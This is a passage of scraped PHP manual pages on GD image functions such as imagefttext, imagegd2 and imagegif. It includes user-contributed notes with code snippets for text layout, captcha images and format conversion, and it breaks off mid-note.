Here is a handy example I used to center "dynamic text" onto an image.

Ex. Say you want to center a clients IP Address onto a picture.

$ip=$_SERVER['REMOTE_ADDR'];

$details = imageftbbox($fontsize, 0, $font, $ip, array("linespacing" => 1));

$xcoord = ($imgwidth - $details[4]) / 2;  // this will return the x coordinate centered to your specific image.  Make sure  you set $imgwidth to the width of the image you are using.

imagettftext($image, $fontsize, 0, $xcoord, $ycoord, $fontcolor, $font, $ip);
Brian at PrintsMadeEasy dot com 06-Mar-2003 07:54
I noticed that PHP's True Type functions do not allow you to create text blocks with multiple lines that automatically adjust for alignment.  I wrote a function that will allow you to generate images with multiple lines, control the alignment, and handle rotation.  I hope it helps someone.

There was too much code to paste on this message post so you can grab it off of my webserver.  I also created an example page so that you can see the code in action.

Example Page:
http://www.PrintsMadeEasy.com/code_samples/php/text_generation.php

Download the Text file:
http://www.PrintsMadeEasy.com /code_samples/php/text_generation.txt
ta at NOSPAM dot magicsquare dot info 06-Sep-2002 09:37
i've found a work around for this situation

it seems that height is directly proportional to line spacing so you just have to apply the same factor to image height

for example :

$spacing = 0.7;
$params = array("linespacing" => $spacing);

$box = imageftbbox ($size, 0, $font, $text, $params);
$tw=$box[4]-$box[0]; //image width
$th=($box[1]-$box[5])*$spacing; //image height
phpimageftbbox at juggernaut dot com dot au 14-May-2002 09:56
This function can be used to generate right-aligned text. Just work out how wide the text image is and position it accordingly. Example:

$i_width  = 200;
$i_height = 40;

$string = "Hello World!";
$pointsize = 10;
$fontfile = "/usr/local/lib/ttf/Helve.ttf";

$im = imagecreate($i_width, $i_height);
$black = imagecolorallocate ($im, 0, 0, 0);
$white = imagecolorallocate ($im, 255, 255, 255);

$string_size = ImageFtBbox($pointsize, 0, $fontfile, $string, array("linespacing" => 1));
$s_width  = $string_size[4];
$s_height = $string_size[5];

ImageFtText($im, $pointsize, 0, $i_width - $s_width - 1,  0 - $s_height, $white, $fontfile, $string, array("linespacing" => 1));

Header ("Content-type: image/png");
ImagePNG ($im);
ImageDestroy ($im);
imagefontwidth
imagefttext
GD and Image Functions


Write text to the image using fonts using FreeType 2

imageftbbox
imagegammacorrect
GD and Image Functions
PHP Manual

imagefttext

(PHP 4 >= 4.0.7, PHP 5)

imagefttext — Write text to the image using fonts using FreeType 2

Description

array imagefttext ( resource $image , float $size , float $angle , int $x , int $y , int $color , string $fontfile , string $text [, array $extrainfo ] )

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

size

The font size to use in points.

angle

The angle in degrees, with 0 degrees being left-to-right reading text. Higher values represent a counter-clockwise rotation. For example, a value of 90 would result in bottom-to-top reading text.

x

The coordinates given by x and y will define the basepoint of the first character (roughly the lower-left corner of the character). This is different from the imagestring(), where x and y define the upper-left corner of the first character. For example, "top left" is 0, 0.

y

The y-ordinate. This sets the position of the fonts baseline, not the very bottom of the character.

color

The index of the desired color for the text, see imagecolorexact().

fontfile

The path to the TrueType font you wish to use.

Depending on which version of the GD library PHP is using, when fontfile does not begin with a leading / then .ttf will be appended to the filename and the library will attempt to search for that filename along a library-defined font path.

When using versions of the GD library lower than 2.0.18, a space character, rather than a semicolon, was used as the 'path separator' for different font files. Unintentional use of this feature will result in the warning message: Warning: Could not find/open font. For these affected versions, the only solution is moving the font to a path which does not contain spaces.

In many cases where a font resides in the same directory as the script using it the following trick will alleviate any include problems.

<?php
// Set the enviroment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

Text to be inserted into image.

extrainfo

Possible array indexes for extrainfo
Key | Type | Meaning
linespacing | float | Defines drawing linespacing

Return Values

This function returns an array defining the four points of the box, starting in the lower left and moving counter-clockwise:

0 | lower left x-coordinate
1 | lower left y-coordinate
2 | lower right x-coordinate
3 | lower right y-coordinate
4 | upper right x-coordinate
5 | upper right y-coordinate
6 | upper left x-coordinate
7 | upper left y-coordinate

Examples

Example #1 imagefttext() example

<?php
// Create a 300x100 image
$im = imagecreatetruecolor(300, 100);
$red = imagecolorallocate($im, 0xFF, 0x00, 0x00);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Make the background red
imagefilledrectangle($im, 0, 0, 299, 99, $red);

// Path to our ttf font file
$font_file = './arial.ttf';

// Draw the text 'PHP Manual' using font size 13
imagefttext($im, 13, 0, 105, 55, $black, $font_file, 'PHP Manual');

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note: This function is only available if PHP is compiled with freetype support (--with-freetype-dir=DIR )

Changelog

Version | Description
4.3.5 | extrainfo was made optional.

User Contributed Notes

php@davehirschD0TK0MM 07-Jun-2010 12:47
I'm not sure if this is a PHP issue or an GD issue, but after upgrading to PHP 5.3.2, text written at an angle has become top-justified (so "N" and "n" have the same top, but the bottom of the "N" is lower than the bottom of the "n".  I've written a kludgy work-around, which writes the text to a non-rotated temporary image, then copies the temporary image, rotated onto the main image.  The kludginess is to get around the fact that I can't seem to extract the font info, particularly the distance between the baseline and the very bottom (I've hard-coded it as 30% of the font size)
I hope the bug can be fixed (if it is indeed a bug) or that others can improve this code:

<?php
    // Function that draws rotated text by creating a temporary image and rotating it, since rotated text appears to be busted
    function imageTextRotated($image, $size, $angle, $x, $y, $inColor, $fontfile, $text, $info=array()) {
//        Force some demo text that contains risers and descenders:
//        $text = "Nlfbacejygq!";

        $bbox = imageftbbox($size, 0, $fontfile, $text, $info);
        $dropdown = $size*0.3;
        $xsize = abs($bbox[2] - $bbox[0]);
        $ysize = abs($bbox[5] - $bbox[3]);
        $tmpImage = imagecreatetruecolor($xsize*1.25, $ysize*1.25);        // need the extra space to accommodate risers and descenders
        $transparent = imagecolorallocate($tmpImage, 255, 255, 154);
        if (!$transparent) {
            error_log("Color allocate failed");
        }
        imagecolortransparent($tmpImage, $transparent);
        if (!imagefill($tmpImage, 0, $ysize, $transparent)) {
            error_log("Fill failed");
        }
        $rgb = imagecolorsforindex($image, $inColor);
        $color = imagecolorexact($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
        if ($color == -1) {
            $color = imagecolorallocate($tmpImage, $rgb['red'], $rgb['green'], $rgb['blue']);
            if (!$color) {
                error_log("Color allocate 2 failed");
            }
        }

        $newbbox = imagefttext($tmpImage, $size, 0, 0, $ysize*1.0, $color, $fontfile, $text, $info);
        $tmpImage = imagerotate($tmpImage, $angle, $transparent);
        $newWidth = imagesx($tmpImage);
        $newHt = imagesy($tmpImage);
        imagecopymerge($image, $tmpImage, $x-$newWidth+$dropdown, $y-$newHt, 0, 0, $newWidth, $newHt, 100);

//        Highlight the desired starting point (baseline) with a green dot:
//        $green = imagecolorallocate($image, 0, 251, 0);
//        imagefilledellipse($image, $x, $y, 10, 10, $green);
        imagedestroy($tmpImage);
?>

-Dave
KeepSake at crimebloc dot com 17-Sep-2009 09:05
For a design project I am required to have spacing between characters; since imagefttext does not support this feature I have created a function which does support this.

The arguments are identical to imagefttext, accept that (array)$extrainfo now accepts the 'character_spacing' spacing parameter. The return values are as expected, and include the image boundaries of the entire string including the character spacing.

The downside is that $angle rotates each letter instead of rotating the entire word (could be seen as a feature on its own).

I hope this is of some use to someone.
- KeepSake

<?php
// Required header (assuming we use png images)
header("Content-type: image/png");

// Create a basic image with a dark background.
$image = imagecreatetruecolor(300, 20);
imagefill($image, 0, 0, imagecolorallocate($image, 21, 21, 21));

// Function call, arguments are the same as imagefttext, expect that (array)$extrainfo takes a new paramenter called character_spacing.
$imageBox = imagefttext2($image, 9, 0, 2, 15, imagecolorallocate($image, 255, 255, 255), 'tahomabold.ttf', 'The quick brown fox...', array('character_spacing' => 5));

// Output the file, and clear the resources
imagepng($image);
imagedestroy($image);

function imagefttext2($imageResource, $font_size, $text_angle, $start_x, $start_y, $color, $font_file, $text, $extra_info = array()) {
    if($extra_info['character_spacing'] == NULL || !is_numeric($extra_info['character_spacing'])) {
        $extra_info['character_spacing'] = 0;
    }
    $lastX = $start_x - $extra_info['character_spacing'];
    foreach(str_split($text) as $v) {
        $coordinates = imagefttext($imageResource, $font_size, $text_angle, $lastX + $extra_info['character_spacing'], $start_y, $color, $font_file, $v, $extra_info);
        $lastX = max($coordinates[2], $coordinates[4]);
    }
    // Return the newly generated image box coordinates:
    return array($start_x, $start_y, $coordinates[2], $coordinates[3], $coordinates[4], $coordinates[5], $start_x, $coordinates[7]);
}

?>
d underscore brown x at hotmail dot 24-Nov-2007 10:26
realpath(".")
realpath(getenv("SCRIPT_FILENAME"));

could be different.  This helped when setting GDFONTPATH.
darren at badpun dot co dot uk 29-Mar-2007 01:58
I had trouble working out how to accurately represent fonts in point sizes when constructing charts that had a user-customisable output DPI (basically, the user could specify the size of the chart in mm - or any other physical measure - and the DPI to create arbitrarily-sized charts to work properly in real printed documents).

GD1 was OK as it used pixels for font rendering, but GD2 uses points, which only makes any sense if you know the DPI that it assumes when rendering text on the image surface. I have not been able to find this anywhere in this documentation but have examined the GD2 source code and it appears to assume a DPI of 96 internally. However, this can easily be customised in the GD2 source so it cannot be assumed that all PHP interpreters out there have a GD2 compiled using 96dpi internally.

If it does, and you are using it to construct images whose target DPI is not 96, you can calculate the point size to supply to imageftbox() and imagefttext() like this:

<?php
/* 100mm x 100mm image */
$imageWidth = 100;
$imageHeight = 100;

/* 300 dpi image, therefore image is 1181 x 1181 pixels */
$imageDPI = 300;

/* unless we do this, text will be about 3 times too small */
$realFontSize = ($fontPt * $targetDPI) / 96;
?>
cory at lavacube dot com 09-Nov-2006 01:53
Since this function is not documented, I felt it was best that I shed some light on the extrainfo parameter.

You can see the full documentation at the GD reference manual:
http://www.boutell.com/gd/manual2.0.33.html#gdImageStringFTEx

Basically it accepts an array containing the following options as keys and an associated value:
(int) flags [more info in the GD reference manual]
(double/float) linespacing
(int) charmap
(int) hdpi
(int) vdpi
(string) xshow
(string) fontpath

My C/C++ is not very good but this is the best I can explain. Read the documentation for more information. :-)

A very simple example of usage would be:

<?php

imagefttext( $img_pointer, 12, 0, 10, 10, [-insertsomecolour-], '/path/to/font.ttf', "THIS IS A TEST\nTHIS IS LINE 2\nTHIS IS LINE3", array('lineheight'=>2.0) );

?>
20-Feb-2006 02:19
I am using php 5.1.2 on a winxp machine. I was  getting into the TrueType fonts and wanted to see which ones would look best incorporated into web images. So I created the following script that prints out samples of all the TrueType fonts found in my C:\Windows\Fonts directory. The script takes only one request parameter - 'fsize'. It stands for font-size and lets you see each font in any size you wish -- I limited it to values between 5 and 48. Hope this helps someone other than me :)

I apologize in advance if any of my code is not the prettiest-written php code even seen -- I have only been coding in php for the past week (I'm a perl-guy usually).

<?php
    list($x, $y, $maxwidth) = array(0, 0, 0);

    $fsize = (int)$_REQUEST['fsize'];
    if ($fsize < 5 or $fsize > 48) $fsize = 8;

    header("Content-type: image/jpeg");

    // don't know how wide or tall the font samples will be.
    // create a huge image for now, we'll copy it smaller
    // later when we know how large the image needs to be.
    $im = imagecreate(1000, 20000) or die('could not create!');
    $clr_white = imagecolorallocate($im, 255, 255, 255);
    $clr_black = imagecolorallocate($im, 0, 0, 0);

    $font_path = "C:/Windows/Fonts/";
    $dh = opendir($font_path);
    while (($file = readdir($dh)) !== FALSE) {
        // we're only dealing with TTY fonts here.
        if (substr(strtolower($file), -4) != '.ttf') continue;

        $str = "Sample text for '$file'";
        $bbox = imagettfbbox(
            $fsize, 0, "{$font_path}{$file}", $str
        );
        $ww = $bbox[4] - $bbox[6];
        $hh = $bbox[1] - $bbox[7];

        imagettftext(
            $im, $fsize, 0, $x, $y,
            $clr_black, "{$font_path}{$file}", $str
        );

        $y += $hh + 20;
        if ($ww > $maxwidth) $maxwidth = $ww;
    }

    closedir($dh);

    // ok, now we can chop off the extra space from the
    // 1000 x 20000 image.
    $im2 = imagecreate($maxwidth + 20, $y);
    imagecopyresized(
        $im2, $im, 0, 0, 0, 0, $maxwidth + 20,
        $y, $maxwidth + 20, $y
    );
    imagejpeg($im2);
    imagedestroy($im);
    imagedestroy($im2);
?>
vsazel at atlas dot cz 23-Nov-2005 09:16
If you want to get the best result in monochrome font rendering, change render_mode to FT_LOAD_RENDER. It's the last parameter of FT_Load_Glyph() function (in gdft.c).
dnf at seznam dot cz 23-Jun-2005 02:25
For negative image you must add one line after the $grayColor computation:

$grayColor =  ~ $grayColor & 0x7FFFFFF;
aidan at php dot net 29-May-2005 03:11
This function is very simular to imageffttext(), you may find the information provided on its manual page helpful:

http://php.net/imagettftext
MagicalTux at FF dot st 27-Jan-2005 02:20
When compiling PHP with FreeType 2 support, you'll probably have some problems if - for example - you use debian and didn't compile freetype2 yourself...
If configure fails after saying "If configure fails, try --with-xpm-dir..." you most likely have FreeType1 installed, but not freetype2 ...

Do this as root :
apt-get install libfreetype6-dev

It took me some time to find out that apt-get install freetype2 is actually installing freetype1 ...
kagaku at gmail dot com 07-Dec-2004 08:27
I found myself in need of an align right function and found one on the imagepstext manual page. I can't imagine I'm the only person who's needed to use this, so here's a slightly modified version that works with imagefttext:

<?
  function align_right($string, $fontfile, $imgwidth, $fontsize){
    $spacing = 0;
    $line = array("linespacing" => $spacing);
    list($lx,$ly,$rx,$ry) = imageftbbox($fontsize,0,$fontfile,$string,$line);
    $textwidth = $rx - $lx;
    $imw = ($imgwidth-10-$textwidth);
    return $imw;
  }
?>
eshenk at comcast dot net 24-Jan-2004 02:05
I wrote a bit of code to gather all the .ttf files in the directory with this script, and randomize them to write text on a header image for my site. The only catch is the font files have to be named 1.ttf, 2.ttf etc etc.

<?php

srand((double)microtime()*1234567); // Start the random gizmo
$image = imagecreatefromjpeg(rand(1,exec('ls *.jpg | wc -l')) . ".jpg"); // Get a background
$font = rand(1,exec('ls *.ttf | wc -l')) . ".ttf"; // Get a font
$textcolor = imagecolorallocate($image,0,0,0); // Set text color

$text1 = "shenko.homedns.org"; // Here is our text

imagettftext($image, 50, 0, 20, 50, $textcolor, $font, $text1); // Write the text with a font

header("Content-type: image/jpeg"); // Its a JPEG
imagejpeg($image,'',90); // Zap it to the browser
imagedestroy($image); // Memory Freeupage

?>
sebastiand at gmx dot de 17-Sep-2003 02:07
After spending the evening with some work on automatically generated images, I had the idea to switch of anti-aliasing (looking, if some font would look better that way), which turned out not to be quite so easy.

Actually you have to use the negative of the desired color to switch of antialising. I include the corresponding line from my code (line split up):

// USE NEGATIVE OF DESIRED COLOR TO SWITCH OF ANTI-ALIASING
ImageFTText ($neuesBild,$fontsize,$fontangle,$TextPosX,$TextPosY,
-$custom_fg,$fonttype,$text,array());
jwilliam at kcr dot uky dot edu 21-Nov-2002 12:22
Thanks for the script!  I modified it to show several fonts that I was wanting to use.  I am using GD-2.0.7, FreeType-2.1.3(text rotation fix,among others), and PHP-4.2.3 and had to include the array information to get it to work.

Code change follows:
$fontfile="/usr/local/fonts/ttf/bookantbd.ttf";
// Waterfall of point sizes to see what Freetype 2's autohinting looks like:
//
for($i=4;$i<=12;$i++){
  ImageFtText($image,$i,0,10,(280+$i*14),$forecolor,$fontfile, bookantbd . $i . ". " . $string, array("linespacing" => 1.0));
}

John
ben at tNOSPAManjNOSPAMo dot cnospamordots dot om 08-Aug-2002 12:59
If you're interested in turning off FreeType hinting, search for the following line in the gd source (gdft.c):
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_DEFAULT);
and replace it with
      err = FT_Load_Glyph (face, glyph_index, FT_LOAD_NO_HINTING);

Recompile GD, and voìla: beauteous antialiasing.
imageftbbox
imagegammacorrect
GD and Image Functions


Apply a gamma correction to a GD image

imagefttext
imagegd2
GD and Image Functions
PHP Manual

imagegammacorrect

(PHP 4, PHP 5)

imagegammacorrect — Apply a gamma correction to a GD image

Description

bool imagegammacorrect ( resource $image , float $inputgamma , float $outputgamma )

Applies gamma correction to the given gd image given an input and an output gamma.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

inputgamma

The input gamma.

outputgamma

The output gamma.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagegammacorrect() usage

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

// Correct gamma, out = 1.537
imagegammacorrect($im, 1.0, 1.537);

// Save and free image
imagegif($im, './php_gamma_corrected.gif');
imagedestroy($im);
?>

User Contributed Notes

brian dot duncan at fife dot co dot uk 26-Jan-2002 05:46
Just thought I'd add how I used the gamma correction function (seeing as no-one had done so previously).  works great.

I used a form which has a parameter $GAMMA, so I usually type in something like 1.6

$image = ImageCreateFromJpeg ( "pictures/".$PICTURE2 ) ;
if ($GAMMA != "")
{
    $GammaFloat = (double) $GAMMA ;
    imagegammacorrect ($image, 1.0, $GammaFloat ) ;
        // now save the file
    imagejpeg ( $image, "pictures/"."$PICTURE2", 90 ) ;
}
imagefttext
imagegd2
GD and Image Functions


Output GD2 image to browser or file

imagegammacorrect
imagegd
GD and Image Functions
PHP Manual

imagegd2

(PHP 4 >= 4.0.7, PHP 5)

imagegd2 — Output GD2 image to browser or file

Description

bool imagegd2 ( resource $image [, string $filename [, int $chunk_size [, int $type = IMG_GD2_RAW ]]] )

Outputs a GD2 image to the given filename.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

chunk_size

Chunk size.

type

Either IMG_GD2_RAW or IMG_GD2_COMPRESSED. Default is IMG_GD2_RAW.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a GD2 image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Output the image
imagegd2($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving a GD2 image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Save the gd2 image
// The file format for GD2 images is .gd2, see http://www.libgd.org/GdFileFormats
imagegd2($im, 'simple.gd2');

// Free up memory
imagedestroy($im);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

Note:

The GD2 format is commonly used to allow fast loading of parts of images. Note that the GD2 format is only usable in GD2-compatible applications.

Changelog

Version | Description
4.3.2 | chunk_size and type were added.

See Also

  • imagegd() - Output GD image to browser or file

User Contributed Notes

Nick 13-Jun-2011 12:49
You can use this function in combination with imagecreatefromstring() to clone the gd resource with minimum fuss (no writing to tmp file):

<?php
function cloneGd($gd)
{
    ob_start();
    imagegd2($gd);
    return imagecreatefromstring(ob_get_clean());
}
?>
mark at teckis dot com 16-Apr-2003 06:33
yes, the gd2 file format does improve the speed of image creations as the data-setup is designed to be native for the GD function - ie, the image doesn't have to be converted to a usable format prior to processing.

you may also note that the newer gd2 format creates much smaller size files than the older imagegd function, certainly for images involving chunks of single colours anyway. you'll probably find this function most useful for saving overlay images or background images used in larger image creation scripts.

to read a ping or jpeg image (.png / .jpg) and save a .gd2 version to server...

$img = $_GET['img'];
if(file_exists($img))
    {
    $dim = getimagesize($img);
    $cr = ($dim[2] < 4) ? ($dim[2] < 3) ? ($dim[2] < 2) ? NULL : imagecreatefromjpeg($img) : imagecreatefrompng($img) : Null;
    if($cr !== NULL)
          {
         imagegd2($cr,substr($img,0,strrpos($img,'.')).'.gd2');
          }
    }

should save a copy with the same filename and directory using extension .gd2 - which can then be nicely and swiftly read using either imagecreatefromgd2 or imagecreatefromgd2part
imagegammacorrect
imagegd
GD and Image Functions


Output GD image to browser or file

imagegd2
imagegif
GD and Image Functions
PHP Manual

imagegd

(PHP 4 >= 4.0.7, PHP 5)

imagegd — Output GD image to browser or file

Description

bool imagegd ( resource $image [, string $filename ] )

Outputs a GD image to the given filename.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting a GD image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Output the image
imagegd($im);

// Free up memory
imagedestroy($im);
?>

Example #2 Saving a GD image

<?php
// Create a blank image and add some text
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5,  "A Simple Text String", $text_color);

// Save the gd image
// The file format for GD images is .gd, see http://www.libgd.org/GdFileFormats
imagegd($im, 'simple.gd');

// Free up memory
imagedestroy($im);
?>

Notes

Note:

The GD format is commonly used to allow fast loading of parts of images. Note that the GD format is only usable in GD-compatible applications.

See Also

  • imagegd2() - Output GD2 image to browser or file

User Contributed Notes

rohitkumar at cftechno dot com 29-Jun-2011 05:15
<?php

/*
* Captcha image for security
*/

session_start();

class CaptchaSecurityImages {

   var $font = 'monofont.ttf';

   function generateCode($characters) {
      /* list all possible characters, similar looking characters and vowels have been removed */
      $possible = '23456789bcdfghjkmnpqrstvwxyz';
      $code = '';
      $i = 0;
      while ($i < $characters) {
         $code .= substr($possible, mt_rand(0, strlen($possible)-1), 1);
         $i++;
      }
      return $code;
   }

   function CaptchaSecurityImages($width='120',$height='40',$characters='6') {
      $code = $this->generateCode($characters);
      /* font size will be 75% of the image height */
      $font_size = $height * 0.75;
      $image = imagecreate($width, $height) or die('Cannot initialize new GD image stream');
      /* set the colours */
      $background_color = imagecolorallocate($image, 255, 255, 255);
      $text_color = imagecolorallocate($image, 20, 40, 100);
      $noise_color = imagecolorallocate($image, 100, 120, 180);
      /* generate random dots in background */
      for( $i=0; $i<($width*$height)/3; $i++ ) {
         imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1, 1, $noise_color);
      }
      /* generate random lines in background */
      for( $i=0; $i<($width*$height)/150; $i++ ) {
         imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);
      }
      /* create textbox and add text */
      $textbox = imagettfbbox($font_size, 0, $this->font, $code) or die('Error in imagettfbbox function');
      $x = ($width - $textbox[4])/2;
      $y = ($height - $textbox[5])/2;
      imagettftext($image, $font_size, 0, $x, $y, $text_color, $this->font , $code) or die('Error in imagettftext function');
      /* output captcha image to browser */
      header('Content-Type: image/jpeg');
      imagejpeg($image);
      imagedestroy($image);
      $_SESSION['security_code'] = $code;
   }

}

$width = isset($_GET['width']) && $_GET['width'] < 600 ? $_GET['width'] : '120';
$height = isset($_GET['height']) && $_GET['height'] < 200 ? $_GET['height'] : '40';
$characters = isset($_GET['characters']) && $_GET['characters'] > 2 ? $_GET['characters'] : '6';

$captcha = new CaptchaSecurityImages($width,$height,$characters);

?>
imagegd2
imagegif
GD and Image Functions


Output image to browser or file

imagegd
imagegrabscreen
GD and Image Functions
PHP Manual

imagegif

(PHP 4, PHP 5)

imagegif — Output image to browser or file

Description

bool imagegif ( resource $image [, string $filename ] )

imagegif() creates the GIF file in filename from the image image. The image argument is the return from the imagecreate() or imagecreatefrom* function.

The image format will be GIF87a unless the image has been made transparent with imagecolortransparent(), in which case the image format will be GIF89a.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Outputting an image using imagegif()

<?php
// Create a new image instance
$im = imagecreatetruecolor(100, 100);

// Make the background white
imagefilledrectangle($im, 0, 0, 99, 99, 0xFFFFFF);

// Draw a text string on the image
imagestring($im, 3, 40, 20, 'GD Library', 0xFFBA00);

// Output the image to browser
header('Content-Type: image/gif');

imagegif($im);
imagedestroy($im);
?>

Example #2 Converting a PNG image to GIF using imagegif()

<?php

// Load the PNG
$png = imagecreatefrompng('./php.png');

// Save the image as a GIF
imagegif($png, './php.gif');

// Free from memory
imagedestroy($png);

// We're done
echo 'Converted PNG image to GIF with success!';
?>

Notes

Note:

GIF support was removed from the GD library in Version 1.6, and added back in Version 2.0.28. This function is not available between these versions. For more information, see the » GD Project site.

The following code snippet allows you to write more portable PHP applications by auto-detecting the type of GD support which is available. Replace the sequence header ("Content-Type: image/gif"); imagegif ($im); by the more flexible sequence:

<?php
// Create a new image instance
$im = imagecreatetruecolor(100, 100);

// Do some image operations here

// Handle output
if(function_exists('imagegif'))
{
    // For GIF
    header('Content-Type: image/gif');

    imagegif($im);
}
elseif(function_exists('imagejpeg'))
{
    // For JPEG
    header('Content-Type: image/jpeg');

    imagejpeg($im, NULL, 100);
}
elseif(function_exists('imagepng'))
{
    // For PNG
    header('Content-Type: image/png');

    imagepng($im);
}
elseif(function_exists('imagewbmp'))
{
    // For WBMP
    header('Content-Type: image/vnd.wap.wbmp');

    imagewbmp($im);
}
else
{
    imagedestroy($im);

    die('No image support in this PHP server');
}

// If image support was found for one of these
// formats, then free it from memory
if($im)
{
    imagedestroy($im);
}
?>

Note:

As of PHP 4.0.2 you can use the function imagetypes() in place of function_exists() for checking the presence of the various supported image formats:

<?php
if(imagetypes() & IMG_GIF)
{
    header('Content-Type: image/gif');
    imagegif($im);
}
elseif(imagetypes() & IMG_JPG)
{
    /* ... etc. */
}
?>

See Also

  • imagepng() - Output a PNG image to either the browser or a file
  • imagewbmp() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build

User Contributed Notes

mail at ignore dot area dot nospam dot joshho dot com 11-Jan-2012 10:37
apparently GD does not support animated GIFs.

instead, we're stuck with the old fashioned way:
<?php
header('Content-Type: image/gif');
echo file_get_contents($destPathImage);
?>
grant k. 27-Jul-2010 10:46
It should be noted that if you only want to "save" the file, and not display it to the browser, you should catch the imagegif into a variable.

Example:

<?php
//Only saves the file to a destination, no display

$image_value = imagegif($image, $save_file_to_path);

//Saves file and attempts to display it, but will throw an error message

imagegif($image, $save_file_to_path);

//Only displays, never saves as a file
imagegif($image);

//Note: In [my] third example, for displaying only, it is probably good to use the "header('Content-type: image/gif'); declaration, but it's not needed in the first example for saving as a .gif file.
?>
Kris dot Craig at gmail dot com 08-Apr-2010 07:07
This is a suggestion for people who are using the function not to pass a NULL value for the $filename argument, with a detailed explanation as to why as well as a suggested alternative.

It should be noted that, contrary to what the manual implies, an error will be returned if you specify a NULL filename instead of simply omitting it.

For example:

<?php
function Test( $img, $filename = NULL )
{
$ok = imagegif( $img, $filename );
}
?>

This will return an image that contains errors.  However, if you simply omit $filename altogether, you'll be just fine.

To make the above function work error-free, do this:

<?php
function Test( $img, $filename = NULL )
{
if ( $filename == NULL )
{
$ok = imagegif( $img );
}
else
{
$ok = imagegif( $img, $filename );
}
}
?>

The manual somewhat inaccurately states the following for the $filename argument:

"If not set or NULL, the raw image stream will be outputted directly."

In fact, as I just demonstrated, this is misleading as it fails to mention that passing it as a NULL value causes a broken (error) image to be displayed.

I would recommend you avoid this by simply making sure that you don't pass a NULL value for $filename.
stefan at colulus dot com 30-May-2008 11:18
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagegif($im);

?>
mogmios at gmail dot com 19-May-2008 03:06
Simple function for converting a PNG to a GIF. Seems to work for me.

<?php
function png2gif ( $image_in, $image_out ) {
 $img = imagecreatefrompng ( $image_in );
 $trans_color = imagecolortransparent ( $img );
 $trans_index = imagecolorallocate ( $img, $trans_color['red'], $trans_color['green'], $trans_color['blue'] );
 imagecolortransparent ( $img, $trans_index );
 imagegif ( $img, $image_out );
 return True;
}
?>
alan hogan dot com slash contact 12-Nov-2007 02:47
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
rokfaith at gmail dot com 06-Jul-2006 03:34
to create an animated gif with gifsicle, but without storing temporary images on disk:

<?php
$cmd = 'gifsicle --loop -O1 --multifile --delay 25 - > '.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
  die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
  $image = RenderFrame($frame);
  ob_start();
  imagegif($image);
  fwrite($pipes[0], ob_get_contents());
  ob_end_clean();
  imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>

just define $outfile and RenderFrame(), and that's it.
Leigh Purdie 03-Jul-2005 05:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
